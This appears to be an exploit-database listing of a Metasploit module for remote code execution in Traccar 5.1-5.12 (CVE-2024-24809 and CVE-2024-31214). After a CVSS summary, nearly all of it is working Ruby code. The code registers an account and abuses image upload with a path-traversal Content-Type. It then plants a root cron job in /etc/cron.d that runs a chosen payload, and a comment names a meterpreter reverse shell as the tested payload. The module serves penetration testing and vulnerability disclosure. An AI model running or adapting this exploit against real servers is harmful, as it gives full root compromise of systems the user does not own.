CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
AI Score
Confidence
Low
This Metasploit module exploits a remote code execution vulnerability in Traccar versions 5.1 through 5.12. Remote code execution can be obtained by combining path traversal and an unrestricted file upload vulnerabilities. By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. This Metasploit module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
'Description' => %q{
Remote Code Execution in Traccar v5.1 - v5.12.
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
],
'References' => [
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
[ 'CVE', '2024-31214'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-08-23',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
'Payload' => {
'BadChars' => "\x27" # apostrophe (')
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 75
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server')
})
return CheckCode::Unknown unless res && res.code == 200
data = res.get_json_document
version = data['version']
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
return CheckCode::Safe
end
return CheckCode::Appears
end
def exploit
prepare_setup
execute_command(payload.encoded)
end
def prepare_setup
print_status('Registering new user...')
body = {
name: datastore['USERNAME'],
email: datastore['EMAIL'],
password: datastore['PASSWORD'],
totpKey: nil
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
auth_status = false
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
# to run into when this module is executed more than once without updating the provided email address
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
fail_with(Failure::UnexpectedReply, res.to_s)
end
auth_status = true
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
if auth_status == false
print_status('Authenticating...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
end
end
def execute_command(cmd)
name_v = Rex::Text.rand_text_alphanumeric(16)
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
body = {
name: name_v,
uniqueId: unique_id_v
}.to_json
print_status('Adding new device...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/devices'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
id = json['id'].to_s
body = Rex::Text.rand_text_alphanumeric(1..4)
fn = Rex::Text.rand_text_alpha(1..2)
print_status('Uploading crontab file...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => 'image/png',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?('device.png')
fail_with(Failure::UnexpectedReply, res.to_s)
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/b\"",
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
cronfn = SecureRandom.hex(12)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
'data' => body
)
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
vprint_status('Cleanup: Deleting previously added device...')
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
'headers' => {
'Connection' => 'close'
}
)
unless res
print_bad('Failed to receive a reply from the server, device removal might have failed.')
end
unless res.code == 204
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
end
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
print_status('Cronjob successfully written - waiting for execution...')
end
end